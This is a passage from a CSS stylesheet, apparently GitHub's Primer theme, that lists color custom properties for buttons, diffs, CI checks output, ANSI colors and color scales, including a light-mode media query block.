inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: 